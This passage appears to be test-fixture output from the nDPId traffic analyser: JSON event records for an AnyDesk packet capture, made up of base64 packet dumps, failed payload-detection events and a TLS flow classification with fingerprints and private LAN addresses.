b+TMFe7AoMY1DPTENGYw9T2Sdm8fItiWqVJfqegJ7I\/PnCCe6IaBiI\/ep\/NxuvvzGyOZdWOgbymwPPD+U+CZ3kOZWqS0\/WkurFX9MlDxo+tgQz+qYIk7njsrRKxRwGm7JVJxP7CJ4OmHk+\/pIZpwjQG5G9jtElLvE1ArfPBDRiyTVZajtztIKR+rd62O\/KRTXezlqvmh7cH8kgTd8\/gwg\/J6Jnt0hVE5GFKIC5Ku3dvpXlT23wxSmQ2z0HykxqGqfwEtBgRnQGGhozXy1VUf8hTXTkPXVTNXS+l6+KuysajJCwSB2vTYmaRRuRr4Ylm1E\/cjczUGHbMrJRJsNjmItjoOMjZaIllvvo0mltOU9q67mfvilrDhdZ+7usujdn3e4GpAYTGaVFG+v6cMWzE5BxscROvVdwOVkXNeHScCI2x6ZSyW4+ohMYFS6TyEtxBZiYJxa6NHo4twb5KudI92KI6jUtnIeYyZoza\/1y7WJrm0zzm6UekzmYPR5c7RjeTXoLoeUz2yubOoGuYfpj5Cr9tHqcxCNQfDoOgwQ7yWpAMFEkfrufEfrovseyru8+6N4EZ5ljdpZinn0blFhnCQuE7C0fLl7L601\/LucGZXi\/z7V\/NVx+1B6HIvtE9AKr0dxUDfqnUVMYdp2s6HQZdu1X3+w6uELLTidEfkUoqVPGbGQCK4iTYXCLqjS2wSFKq0hIZ2AyfmmeWd65vDs4o16HdnDHTyf51HqwIkYqYdnhN7v2j3cnsUI3O4efeMM+Q40xizck3XfRF3EYHNuFdjSa710zjogpxp99XIHY9QCeJKiQTIMm50ZXTabEKIxJUj1rJ1nMFF1zUhC6ASYZOplIZhvwe8PP9luR1+fVkTvmHlpy+MKPEcr3bafclg45aYLWpfi5ElnrivsXxUu7WwVKi3Kqt7UMRJtQhUUMHPetLmxSoRIueHlA8vnUma0X6utTNL0rZbvjvO6Hjhj0kalWquZ7B9hOELhwlEKN6pbsYsKq2sEeWcBVOCTpJfqxw4z5VEiU6KwVW5QrHI0Cu51WOyFu3D\/vt+6LV2aSUB4hBtgHH9regsb0AazHj+WDheocRl5SV8lw5Xv6oldY5t909wyfc7szhd46lYe6wruhv0zDTUtiu395Un+5pL2iZbf728WjTHVTffWd9S0p9EZWVaFLdkc75zlVuEgUPn9qHUVqpIeeyKB\/bx16lns6yWQTPWZUe8W1z4h05rrx0RsDiouR3OKzt37ITmm92R+TCsyewAu8jEUeYingFNHr7f726uA1ZTmovBjXIwyq+\/3rJNRopGdFen8E4aojseqU13uNCQirhdLpjLiEbIoIlKEZbkPaHJzNR8WV026eGxERa0ZbJowGbiTmKujfIYCp3l8ziaguPpoIJ5CqLkFJSKwLKJrK\/2qahbbgRVZOP0XvWG8zoFAkVf5bH7keZDruRtwzJW5xvE7Qloxtnx9GkdzqKyVBSFIBLxQqY6Hy9mYWm2wTXKe3y04A2mmu30P+WBVEgB4HN94A5Gmf2hMapioVXVLoGJVzTUUUxQGV4QfMhOKR9LSzjVs3cW65m\/pbImm+g0TnwwE0OhKoR2IBSqWQD4vXmio9Gp3LRGK+zmt5rzjS1oIbzCR9TAv8BN7Au5FkCfv6tUvgMILOsfdfgWPCqqCx6X2gqDWA3ms+Tnpzwbpo+hsIn7hU+htwhAKtb2vpGdDiduCzdDpH2Ajq1OQWtACYiLDEboBcyflB2K+vNbTwT\/g\/juYwSUHlarJgmebUuxx5zi8aZsiCGvZrD3zDzmXbnwq9khBmSZTZqMkLZUv0CqDm2suawK5YsNbPpbUC+TlY3vIGbJDYAgDbRa0lfBGI+a24Mjb3pd5WFE1BIZi8N7l3wSNdlNrpO+oZIn484JjPiGzw9+VIk5bXdeksH\/eRC\/IvCRHYa5g9yhvmoGNPnXf1Amor+VLk6I9aRia5BuA5fnDNrunKa815CpkGR\/g2xvqQ4YVqO+gk0m9sqTIS\/oaVI4BD3uRVofIsQkpYQ5Ab7TKl8E5UNBqPvXiVhtZJxGm2bkJQjY6nKf16vDFP+z9TuJPyDvCwxlGcxO2ht1m4TRNbSmrMjvOLrmUkW15PXTylwqIY48It\/iU\/K89QmiCWEoptn0aMuEZN2aZW9\/9tUC5W37MMMMnQRlUrmAbQWcrbtcZHIyRwvn4qwQmzwQsGKpmUzRqGyrX80Xd+TdLFO17iyqkpsGM5hLntQ48rcSrJNBUmHGdv9BFH\/7B+yL3JwSYIUwT99zU5b2VcE0VcI5G9+ZQjLm8A3gaIk4iK0AV\/w\/LTKqfp0XP5M447UAjmgHAxqGme7+nuc\/6AnK57lIOpHT4pd1xWPVORb9Phscb3py7tidMsmfB7AgEETQOJKwHCxICiHuWP5U2MM6a+8dpMRubqi\/eMc+RnEeytqclHx4\/6fFPzV8LZuCe5lJWm8VmEDxETMk2yQkSRdjt7h9GnnK+QT2DtLhkUiMVDxRfyeqY2J1nXXnyGYfbKCiftOY5In32YR8JEPOVXUdmu4zNfI6\/EUH2Kd+2Os4wiRrmKqKNbVW0\/EKDVy\/qbZfqhEUf7oKiir3dAZJpwuKTa8EsRel6CtUrwefDR\/B9EIAF0Yn6ZlOa28h7DKEbjNMOTF3hVAsviOCq8aA8MsH9d85RFSf\/52G2JuAVp2G37eYM80Fki9QuRJQ7\/mczqD+0gEs7i5JV2twJldwNy2gLHOUgU4ln1AXE1xPcHC5eIXuuTRTq4fwU3m+8N61ohgLbxM0vIylhQkLT8Lj4pZ1mWPtWzH4mXsMzqqhXRCEiory9wQEOrdtnPFHTUWUMwHBkCgsgJqkYh559lALoYMI1E1fD0Fy6AD3S+EVWyH5jKVBaLDVcCSPPs1ngaVOiiw2gK30uUiYopH+VZ4fFrXbamVgZH6Xm0tTQ+AjizFOKJQJKZBWcuZZQM5Hp1Mj1VXBt4Lb\/9Wl7S4vvv+5JscKeF2VjHLu\/pEB9bBq9kX+CmGNSLM7\/9E0H1Uj9Q74bKvaJ\/mJQtjPDTv1NFigpGD44KMFoKjxtpjVANS1E7SvZu\/1sflwHgGdyUciJFUKAPw1yBKGsdo6tY0QMAiGj2N9qbYnM0gsCsTJIZXwpmQRbs2k30bhMNZBt8GolSbFrT8xcQG\/9myyKw5rNDKGxab3eyzXP8rwIPjyqlg9kxnr"} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":240,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4988} +04027{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":263,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977603,"pkt_ts_usec":313834,"pkt_caplen":2745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2745,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAd0FAAIAGAADAqAG7wKgBstOUG56PHFwWWcP+5lAYA\/2ExAAAFwMDCn5Z4hNO+msU3mQde8XauUXuibx23ZWOy1lfKlJdZeS7jbArOCdma5G1Oyj\/YHi4OgowtlsF3GCyvWAIcIaf2qvcUvo8xw+u+vFmA88\/ZFtsQrOzjtOQOjqB1w9IVRQDv2grZ\/g+TPfVtI2fmulJ6\/DmyG6skD8\/NJUWgh8nP2od5WwvpSZMAK4lfKeb2z0dUsUOya9f5mvFpFHQtfrBKUxJ+Qi3RehBwzTb55Ty8p+hZJJV7Iwzjy4pVLDEN902w5s1zPRfh8wp6Anmbv2bXEn0A43qLMRFkgBP5BI+igCLV7CUZs1YGzWqE2Qe5LZSZvQs9XJzBdK9uD29IREqU0HJNfHTRP5llSd7+z4nImKHOyeI7anpkMzlguOkoVfJQEajpvI3WE9X\/1CUkRjvlueAQCmBNgaGjBqVDukdBpXNlB3n+105fzXVNBRay4p\/b\/GcjzrAXO3IE9M5nF02cdlxykTYZ\/v51qwrR+BW7MUkGi3iYyceDRneOdImiEA8Fx2ms52erPvVB5WPOPh9wK4Bx+Olb78ikN5Z6ABTeAlOOHzSwfkuoLGi3VXydpd80btVVx94fLuzAnSflm6lw5yfcuyRzOr5GQAuVNsGcgID\/tfJAgJBy5t\/3GV7d0R70TiSGpc0dA8ovueO+whcxGg6XkvNylfFnAymmw0H4NMNkLqqo252fRfF7\/bzwTJQowsRZQOWGBqNMHe+7deiTVbvVwZYIsdMXNebCII3WU2oVVD64POtpmYsGKOTF2T3fYzkHHLWAVWGQXU1SehD\/X6lH4iv0uzHEKfY\/Hw8F02O8iWssDHjxDLKVUsInHxGwWBZgbF1MU72FDnuHR5CGNKs19Jbx9I2Kk7XDMbfxxqgpUygmTtFPYFKryt93oYMUkjkspSKsTBRkCWXQuaQo7qu35UlkH2lUKiV09U1wYPedcqUsQ92UbGj\/siMqOIyeQowgB+tEpc75tZfM8xnZmaiFsP4Vbf7x2c\/9r5dJp0GY03Yhup7L6msnnDvEn666l\/wb26yt\/yCGM\/WN68jMfQ9IAH+C39Dcs3b\/+kwvAnD044ZM3+CUM8hQFmGwe94aPz0bI46AuTKmNNXtxdN\/UJWxOhk3Slo\/7+xVgIu6ryQ\/3gqxm0qSPUTi4uLVp6WeJiJEXZ2OYpVb9Fy8UCEez\/wS41UwuJPv9fT\/EMbWyowl7srODAru\/H73XdW41KrMalzeWf6Mnb80av5KwiOs2Y23EoAu4D5z21i4Djf9v9ODq2KUOHe9qEvjwxVEnt1qjhsgG+OjPvdbTT6\/9Ya7HaguBU9fuN3skEP7nGJfAq5gvs9hwzjCnB2a4GfmzDhmVfHwtgGTFvvXET24NHuZ4K\/8PXaQD8fBsQPzmNoslsonoxEPXlubw07HA7kKD+zNBa6FR1oTEAvBYYHKVjVMGlbNwITm1Qe+SWAuqxnY1eq541bN2ZEe9inXHIZnCVkpt9QFo2+Wnlii6gpZKNvdvJGlt\/Ck9K\/d3yfuDmJ2HoqpJzzoojRioHe9nS6KdtHQiVxWDCHyTmPDoeJjFgmNShc1KNJCxdYSrbkpXIAJvp+2EtxPnijllODqp9E1tFwH\/rzveFmx+Wc1K7P3nLChjoT3ufyQk2mhbp93u\/64NyqZVuH7fRyBlfDOR8yN+BEsixebRyiiK\/FnZJ5fLjfhgVme8+WX021lqeGUdX3m\/VkkyJXsLdoBOPanm+WsGtt6san0iXRmZTigkrHoUlUqrF+qmPvvGm4dgD5dKZXTfVVcTvCeBoWiu84Jakxdh0f5VPyQtD5ET57bn8KGcxpAXRxzH6jCiH4XJoOqxeENkjlNoX\/E9R6S5uAACvvrA+ORK8fhz5MVGKF957Ut5GZNW84r\/Ky2TYqrF46WgAZBGJux69\/T4D1US4ZkgNfUGfpuRGDdidMFNf6yW+ITJBzigOL5NJlsMkQOChbTmqlMe3ls+Sb9u2RcrE33nNSiQxahx1SH2r4CGe4a7tQFwvlhdpZphEQzqrbUvlU3xdCMtTxxne3XgGSF8j88eoUPM0jqDUPlrBbvd5mXogZYZLOEfpyiMSNnbwIvEq3R6cCrmh5DdIorOBdj+RAuOyzSD4Z\/2iae2GDHelQyAemjxPKnVE2d0KVuxBWFPtd1zdWXTDCyFU5H5lDpkgf1mzHiNrvqSpBI7YVjs7mwDQOgbo9RmT4uxCkEDz5IWg47a+P4f5fcyxrdxQTjDQIpN7uN2CBc2Oq7JDZQYuUrbkmwr6hIAG0JW31HQHIKbQw56Eq\/UwylTe5Yw3Xapi+ctffH8Fjo74SgVjOfurQWtPkJ9y1\/XCYJlkQj4Eq9NGKVml798jEO3kWgIeLF2jcL\/xBEFbrjd03vbXKYB1444cMPq+N0eZDETbjBDQsHeHxvCVoTSxbrakgRAQrc3H+aBqBNYRqoVwtvSSFd8iLiG8W+DEr5zp94CSESrQl6Z1\/VXyEAlkGYB4NLUO\/vDEyyviQJyNtmzhFLw76uw+al1LSas8zYAYzxy9kQ4rSDMZ\/wy\/xerQQN8zFOZZ8My4SWoU+5ig+EmAZjEK5XhiKMyvL9KoFQqLei0e8SmBe3lYb\/th5YG37aWDNvw7KvJZCtvAGp55TDsGVsNU7Fcv69v3YfLy66ZJ09UzqvnzQOTuNkBcMftHM1AvQ7FLM5FN49i089r0\/PDCaCegLQIa8yH4jZrCgiAK9DWPBsJOYCcVcnTyElMFGWKAQDuy1ySm9g6fXErhjvXhHTS+t9a7UxzxKaObgCXnBVCEULXe03mmu6RWF8GioBeesdzkyfjBjHk13FB+ujRnul6P\/dcW7e44Iw1Sx6zdRz6QcbuAdMXxeHZ4bm6MuTvlVw85lnaquFyRVNxzYZfjSsR8b3Ny2hF370r70\/0L1mFO4BBnD503vyP5FGEUer6jOORAbVTvjkfv7DfT5ce+mqBnd7hI9nyQza5Z0fatgMDGKwWiclhCNav+XhjFgM+Mwr14C2gJjUDg9mfO52JQBrmzyQuDTC1bfYod7Vodp\/oStGrztMdFIBGm4gqba7qS0CZ7u9eU+lY6j57OMtLpGXhbzy6fEEUkWLB9\/J6wcBps4b9P2obOHVJ45sa+as0LsL1RcdUCU8bHEUzFkgHWDh5Bx6gLVQQmPtT0+kXpnPw8VH7nAt5zbP9PKg9mkYMdlrpXIZQYH\/vYZ\/s4\/AO+h5uy5L+gjfhFfEim+1bTLMvy\/gIapPFI+FVw78Eb39bDVBsZhXArGP72zkjqH60HyLuuVPZr6X+LiRvTF4ct4kmA\/t3Q8QPnOFyiRxqDR82tP4\/aMS0FPR4Sq9rD63\/BKuBBcmRXTwRi82ovnDQdBp35qpuj9GdbPJjSQE2nfmX2hsX6Xk76ZHbaL8KjLyiEkhDJl4ImfOLo1YPuIq1a3DUWjFYRw8EY9o0UkUO568j\/Fc\/yC\/CfR4bTRmkKaj8Hr4ucVe2POT1Wd1gY+y2vQppzcKvXvnmHhNabFyqyW99JpzheV2QazE\/pof2oLvgPRXNjBs9DyMCTvOSAAhuyUC+3+iJ4y7VqFLJJ88sglwH+eYe7d5DWImyW5UB4S"} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":263,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2711} +00962{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":326,"source":"anydesk-2.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":255,"flow_first_seen":1613977595379,"flow_last_seen":1613977604238,"flow_tot_l4_data_len":21934,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":86,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.187","dst_ip":"192.168.1.178","src_port":54164,"dst_port":7070,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS","24":"SNI TLS extension was missing"},"proto":"TLS.AnyDesk","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"","ja3":"3f2fba0262b1a22b739126dfb2fe7a7d","ja3s":"ee644a8a34c434abca4b737ec1d9efad","unsafe_cipher":0,"cipher":"TLS_DHE_RSA_WITH_AES_256_GCM_SHA384","issuerDN":"CN=AnyDesk Client, CN=AnyDesk Client","fingerprint":"F8:4E:27:4E:F9:33:35:2F:1A:69:71:D5:02:6B:B8:72:EF:B7:BA:B0"}} +03262{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":359,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977604,"pkt_ts_usec":476233,"pkt_caplen":2184,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2184,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAd6tAAIAGAADAqAG7wKgBstOUG56PHIiRWcQFglAYIBOExAAAFwMDCE1Z4hNO+msU9LBvnBdfz8pT3uIpAXl9v8baPCclctzafizqusRLc+3yBRrxsTQWeM+z\/j15TWKILyUHSn+85MmEVgMVvQ0naJDIPu9CFBTDGola9mExfWT+oniDrqVp1gDABVnjk7XDV+j312n\/hzyqb4ibRnC+bFrWzgCW1GEKZC1q\/E\/6hCR8a6NWoWAXlJURq1D\/2FNJECXg84tGVTlZUZ1hjKYFe1ajrioO0kHG42Cd8Zjh8z0Xueajz3JAzS640hLUA9UiOwKymZvLlEbzmhvESjy7FaJ9bekboPw3bn\/Jlj8ZF47zmQeEehl2qQ6htreM+LkT10pyuawnjdSA49JLH62hAyXThdYpAqJip7Of2\/W4b1J\/sOcFmX3l9KAFnOoqthb7U+hWo4LNbMBAreRWvbyJBqBBBkZtLMF3OI\/lgS2KRgiGqWPlc5\/8IqmFk9teB0eXT3W90Ps0UUvmRSCUsuyjlE2EUCed5yhGbXvuJ8xSirr7nIFa1dYweQN7QjZ0sg00UI7aXkhkgieHniYh7BkAzTo5ugnGnsZrDAocUbXzyptfnLrllkciPWt6N4rg8c\/xwdNBoEXRr4P2mFanIOSfwLfesF\/8nIMB4jD4dzmMHqwwnijrCTzHMjJCWGjBiVcn\/UQYAqSGPRdj\/olBVabavlmrH9Royswmu55\/v0PdSgyGh\/aF1NdAgMCQWfK4iTLXOnXiEhxUmiaGmwJhqej+pUp9yjksckOwAldsZVm2TEe1KH7VnJBozetryh05+IDLSkv0zfcXCynFCbOfRrXJi9E5rMp+EFcmkCd5du5qCwA7mioeIjdmsg6o\/hZay9NNqv+SjegBeEnWjGidm62Bg2J3ugleU05MdTEjPG\/0WEVFE4YLoZ0+Rmk27LsJ83E69N6EM7LIqHaBy4YgdBXCwRYXMBiZ7\/eXyR8ouKpqBrgyc0zmgTMfEguyU7bGFL8oz\/66InO2PDAb3K1g9EivYV0J8FGZbXrGGgeE23xb1i3E7zCa4xispnmUp8ZnvfmRqlLtxCp9xRo6wVZs\/8OOR3ozRmiI\/PMUf2ocLk1A7EQ06Bysnei2m9sDgUmz3xW18h43AuI3Dq2dw8luofIYO2mIw8PGK3r5t2XcHhzApuS2sJNMJzPVZjPnXGXlhTtPZq8RtPkaHlZqnY8opMkhjFF9Aqz3\/NEmWCFimFinDFcmhKzw4Zc11XVddg6SqbuK6go4CDvysm0p0t9NPekVu4zDVD4EAMuugSYVQPLC+GjcaxjX9UJufqiIKF2iGtSmbJ5\/R0oXR49FUnI9yHKXJ4k1LJbs5ulkD\/zGTnwCq17x21cHuxnM6jXwS\/ZjHHSGC3ISErC25VTJIcskqau\/dLYahxzXBtlEISVUbywuDuTbM8bVfs1bmyjIqYpqoABDoN8znMk4tsz9h\/kXlXKkCe6C+ec5cX0UVZQMIW14dtHVYELwX+yQ11ENYgNnbDvK9eYwU0VtThgC3i1tU+NwupUlXjxfhWt4d9x+S1Drfg2\/F29sYlDkdvYZFNRxoce3hBgJMPkIZEwqQFdENALY7ybsrObH42iP1NFKqM2PiLlHgVkrXHPep5p5nTaEGT1K4XQKFidsDE\/TU5jp+uV5i7tmWslQ3X0hd1lqhRPKzFSxhrdL\/OkYNUrKk8pswZhw3Z5L1hzdrsD27Qhrf+B3glSilptp8X7Eb52KYHrcuXisGa5DME2Lrzq7wHZEcCZuFh\/f9pqqJYEw3qNzgBQZCUbbeWgAPqTdMSOTev3F1ZSLvjeDledsYbcWvH+19SSbYW5Y+wa3pdx8cHj9rgNJObLJ0gF\/YxIeWBWbMgRPm9VI884Bq0CmrSk7ddVJJwqxpMhp3yO6unpbvR+zfTdO\/gFuftha41xabyjq2RbwbJS\/QEAhDCTueFRp8UI79s9E8eeZNx9EvY6Nti3XxVxAo3tbUi6gx1ha8BjET5MrziHMVJP584CS0eGAzo8fj1U9Uc+O6iOZvqO0xkwHZXp+13zpS+c+REzva4Oj9b6ImTr0r\/rqGg9rLH+ngtAU8Go4I7MCxaT+qMw3Sn\/jD1ZwNCOtlEOXIH0ppz6oLuqXGCJt0v8B4q3O9\/iS4Etdlwc5FwSC7vNZeM7RhhTBOd920Cgdf6+edNDGmsNO4htWQFAC0nm4yH7hY\/lMyTQ\/Go58thZciiFw4Cej0V0w9z1lZr0Y19WT5BpU\/41Rhs5jiD4sEvnn5fsC0k7V8yO3RdbF3LAesZcbukPjgqMXj48hBw8gAwlDe4wqdAR8FzU4xAgi67KDy5J9aahTmpodMn3eAlq2seT1sprowIc5H2Jr6vfv0RSDSBv125+qvt0xa5w4kAcrHbM+eOH0yjmMG3GLfBJVMa4Vk1NsKaJ0UQ+RHQJfAUAyJ8xY4LRIPsJajoH2jPGjFbI4LDI8bhoRIdBFUKHN9uZjbq3H5dTZloX6t\/+mVMaOBCiuB0wF96KeaIfPnoIAfsOIL4RAjJpyEA8YqwiLIYneZIciytK4JU0djusymFsgD3QmBLLM3T8wmJfmQs+XxdV6LUZCGbP48aNe2PEu4cgNFp0Gedax29OKBqKQJrrDAOojGxNEFqD+wgFm25xNUI\/oXWJUXCHAhyWvKF06pmsW8PgL9krA7cX3OGZh+fx6Ouf09uuPaEUfCe9q0DYD5wRHLyGMQuCzEVKuvUYxbp4bFbcuyJYIyTf6WEilDAJELMx+kjzm\/H5Jsd3GEHZoFCHlCgDalTY8TAlsEpBNykvZp6\/PHoKQjUrmjAolT9SDrLsJqIlaBNF2AmQ\/Iyl1mM2T2GFnQmg84apLYPcFrVeD"} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":359,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2150} +02586{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":429,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977605,"pkt_ts_usec":157936,"pkt_caplen":1685,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1685,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAd+ZAAIAGAADAqAG7wKgBstOUG56PHJqJWcQKplAYIA6ExAAAFwMDBlpZ4hNO+msVBGAU\/CQ+++T94X6aPp5XOKoWc8p1LFmHdGVPh9BmLi6fwPmaM4TfFP18K97w+JrG2mMRmj1tdgTVpDxt1C0Gncnny4rfOTrXTSleZ5fZVTWiCSG7aNbBqkDSL349Eg9z8IeGPlnYoPEN4tP0hVZemLcZgvILCgm49DsuVR3nhYp4sy6rhIgg2ckXEUXDokzjgL1yjIvt0ScqIB4okJR1wK79N4XZqDHUn2McD1b0N9v3pDlMk30O+IeVoz9StvBgQxoSM1A5v2XOynHvcw3I8aid5vEAfPOQwi7MSG1PCJ0p3e78RTR5AvwoWV5tJbAp5WWCvBGG8HYJ6RuplivNDXK02J7ld0qN7u7Q\/nmAnAOYa\/GWwRKg9Tr4zfIcTQXCCMH8YRxab5gJYESXf\/z1ewgfmFdNttFpDtF3N7hOkJJmZHsJzuVof1rADifgRt97Zt+Isn2GstbeNF7UKJMLnv75OfDd2jVaGyCWOSqr\/89o5b0Qcba9pNbd27IaXMZ396LcYhHzQDlZLBOMY+gl3DT40bd0Qn3wMvCOe79J\/29yZ6+yHg0PB8z38SVANS+MLgd5MHawzoK6qP\/KoynzQmsUhdMqkAc0u5QRyWPT6U3NnyyEfroJ1LxXZiO0p\/fJaarHw0cLP1fjQ7KcB\/LPZEOL57GO\/hkiUjKlr9T\/zgfe0MpybuxtbUS5tZFJNfvjqzwCDWxHE6QvgtJYBEYICQ9457KYO\/wcbNLey4CBV4x\/6U3oxvEnGBaUwLbpibk59xCzCzXuzLKOU2h\/EHV6JrEnWQFj7q+IE54AaAPZmfjFNLhs8FI3pZolVNQe96OFf7k5LQqyxz6oZ1rNO+dd9\/S1xOcgbh4tB3VzpRlIif9Xfi6vpxQgpAp\/Ckg4g9P2rmweTngy7EZcRiPY\/bi2lc5tqtIT2YjwokS+09PlxQOwAQPW9v9MUl+HVmH9C+i2v5UfxK\/4ypGKOP4BxiKQOzzNuz++qNx\/SX2yG+XNVmn4xGXdzlc2H8mwNwrvpt0+QLWBHW19hkrtqlSNDdhPAKKnjAc9OMKU7xejzXqyMWinIDTpLMEj5I3dKLCyxRQJXLZTienT2QWOT\/xdc50wNc4XYcA+6WBY7IyfdBJBT+rLgTGDSH1\/zTXELobM+rGuJkzTFRw9bqFFXtxSCc772VJ12sjK0vXDvFWKoFaNoe78LZ5voDtMwqopYvwpV7H6nPpWna\/o4CSRCyA3G14Am\/fxios0att5z9q+drHHVURelxPIt6ukJOio91iJVDLpBHbf1hgwox0kd\/+SeiP1mSjU2kGz8LrctjvSpmSRN6a6sKEorwbTCfZd78Qn2UaEncdDQIPr3BaGwPF4TGFI0Wu\/hgVJlFDzcuBsXN4DnS0YuWlgUdm0mq5mHA6s6lEm9Sw10GlrxnAmjH85PGF8NK+bJAyFRbkgKNmxeLMD2\/fJM9Yy30wqYmAchsBRZiFltsLa0nUe+XTAR9Hq2HXsEEZ4EdZwmwTjJRctTrzyhro2HYoydJS1pGm0+nd1efNqtke4yktOnOtU1KavI+p+2vrcYUysE5QjNXan78ayVsfgNcFNqMFZS8HNwDAfprS4urmn6HN0VMtMdjgGQRPG16qegP966dnrBVAaVqv7RxbWSqR9ZgtQN4kznoApYsQ\/htBNdcpggCk7aEeCp4hqA5E3Dgh9f+uZnbb36LAJBjvyFcmH81G3Lk5YlhF\/zSVvLKUb0MTqYenR0yMx4zxUl4GHoYotJkkka9m13vFT0upUDpqUYIAPW\/ssc5jgoqrMk9Hhi5y+7HWKQgjrdb6nOU4S5uyGOKDW4mE6\/rPBHp0fY5ylYs03GpUua9a\/glfenyNSCemqQlPjbCThLJwe2Q+jRt0ZttjgtfXYUtXdKQPdi9kDvDLF6bC6lPNdETt6RPwULQMHokPt4D2I843jsNIop+cnms6WRAoTEy\/nJlP0Xf6+O2AOve7kIGWj79Hb+Txxi7fe6XvRzr\/AFPz42M5rbE1CpgUgXEzV9+mwpu53B6ibIPrxe165c8h5iqFjNOd91m2C48D0xK3n27tv8SErJpnkzhizKwvbaMs382VOUnMh31zjjLabE7N9jb\/tEo1n8oAFoazbbRyR7uBihqWES0IVOQF2l2EDE0lPDLdJyXw="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":429,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":1651} +02745{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":431,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977605,"pkt_ts_usec":158247,"pkt_caplen":1816,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1816,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAd+hAAIAGAADAqAG7wKgBstOUG56PHKDoWcQKplAYIA6ExAAAFwMDBt1Z4hNO+msVBSBRFjljKcQX2KpAt3ttUuqZMy7AkBa+cMgz4v+wRoIAKzwKDtMKtUf8xsUyfOPQfo94gYFeqVq4Vw9zDZ7iZZLWjw9IS64nXgAxEMc+GtpYjNeZHcr8E13SGZ7fx\/NRR91AHUQx5Qi6yecfdEvYRNOUcQgKW6Xs+H3QO5ZxDWgKMpEqxXAArS2oEAx3c6HuA+BY70DP67Le6ZTQxRTnMT4ezoCIKJBWII+LA7\/BIRvjHAPLgqEU0r59VEX98qaYttKc+QUZVgU3+P\/ZPWTlqjDl3HXI+FfFJ+ThQVscHaPCgThOMiyza3ono\/HWep1oj2O+hmkHyXPa8mQD43RpRGEIRmp7APZ2jRqNiVrNvzE5HaBixDoaHR9tTaAmDj5Mwfd3E9V1RDiOeaybqhUcXdSxVATb7HjAOIyIBYGKgtt6VgRtLXhNtiJitO8izAFg7i3867lt6H7pRnECAQmk5KP3sNTmaPXz2sTOmCCQAmgf73cYiHfGkcoAJ8s1D8TU4uCsQ+DiNdded4PqXGNHa9YWwwVvnOSJQD7Je4StTuWVs2HP0Ef7y1Q3q5V+mdjmi+0GdsnQLv+hOoezUH8myNnxAJj1DvK0ykLpHF8P49yL0lStW2EYWIIJ9uY1pRiJBIwSb9h6rQQJ+Mkj5gpTY5KfGqJn21CEbQu7BwumLmG0IPIIuDFXSc0LA1Izdaonz9KBM3PWmNvPW830iCOLL+EctNmgLGMSC0ERm2PHkSRbUFnCL1Snh1Dh1yAtqiB\/mFLUPHldEc9mDLsYsc6l1WCAHAkdVRS3L9yDI1jtaZSALJU6Yw5TWCP1PotCR2fagOCOCdGyK0i1UQtWXIp8PmMOyZ2VLWtqLAoEBl6z8YI+1J3PgwRPSgVnouCV9p7Vk90DVCUG7+3P4zlFAumQCWBZI4jQz+Nu5O1jc388B+AKY+ivligBJhieu0lgb2+rLAfmh38DR4VGLEEw5SlG5xL3eTCNMQvWTdKsJ2y4GBnaOPOkZObTa+xFYOOTYsSDsx63Ws+01HfhKy2FmefBTReH+u3mhV89ClzhIuzofjiyJxiZNfee3Bp2aEgZsHKi\/PjUebwfv51jd0uWp7hRDGSRJDNFK\/MuxeiuEBznWy4FCGmzFBZADQahW4KOA8gGCcFpK40sLpPMxUKNfQm+LsnX8PoyTjgDUMUrkgWXmPlZ4qTn3Q2+8c6jZv5vULomDimW0COSy3LNVUvacLHmHiK7aQF7sDVXTqYRKtqcn6zEF5Uw2cSkM3Ysz7nXdC3x4hyMz2KFCoYHOnYXL4eDTlfmIVZh7S1UxflMamGYpb93l8xMBVvMhpyjTpit\/k\/Gz4onHXf9oUsRy2RqWOqbUQfOYm6ome2t183UmDbpldxlVQ\/1u65x2wdjXkOBwSpCRVzKdIywc3WCoGYLkD3NRoxNjLWSURk4bmtbwQKn0J1y4Oka3XbVhmtDCkvMyrK9WHzrI\/keFCrR8kvUGtYyON9NLUexZYlfxQiOHL8TyfVPiPxp2xHSu8T85zFea1y2vqsJr1YpQvyxJQLrxFEKzSHQIhW5u2nrBdKmaapE8zeQhetptOHGRUGGQbweuiDb9YKgZTsrQ+bYniImzIZpagzYOL4LZ+TXTOCVWDa\/H5c3Po2GCcVg29T1O6C8wVkkZN8LcovsLX9znLc+oKShPLY1pVQ39znGuSUty